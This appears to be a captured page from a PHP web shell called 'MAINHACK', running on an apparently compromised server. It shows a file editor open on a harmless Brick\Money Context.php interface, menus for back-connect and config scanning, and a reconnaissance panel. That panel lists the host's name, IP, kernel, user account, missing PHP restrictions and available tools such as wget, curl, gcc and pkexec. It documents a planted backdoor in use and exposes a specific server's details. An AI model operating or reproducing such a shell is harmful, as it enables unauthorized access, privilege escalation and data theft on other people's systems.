[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Context.php
<?php declare(strict_types=1); namespace Brick\Money; use Brick\Math\BigDecimal; use Brick\Math\BigNumber; use Brick\Math\Exception\RoundingNecessaryException; use Brick\Math\RoundingMode; /** * Adjusts a rational number to a decimal amount. */ interface Context { /** * Applies this context to a rational amount, and returns a decimal number. * * The given rounding mode MUST be respected; no default rounding mode must be applied. * In case the rounding mode is irrelevant, for example in AutoContext, this method MUST throw an exception if a * rounding mode other than RoundingMode::UNNECESSARY is used. * * @psalm-param RoundingMode::* $roundingMode * * @param BigNumber $amount The amount. * @param Currency $currency The target currency. * @param int $roundingMode The rounding mode. * * @return BigDecimal * * @throws RoundingNecessaryException If the result cannot be represented at the required scale without rounding. */ public function applyTo(BigNumber $amount, Currency $currency, int $roundingMode) : BigDecimal; /** * Returns the step used by this context. * * If no cash rounding is involved, this must return 1. * This value is used by money allocation methods that do not go through the applyTo() method. * * @return int */ public function getStep() : int; /** * Returns whether this context uses a fixed scale and step. * * When the scale and step are fixed, it is considered safe to add or subtract monies amounts directly —as long as * they are in the same context— without going through the applyTo() method, allowing for an optimization. * * @return bool */ public function isFixedScale() : bool; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.88 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002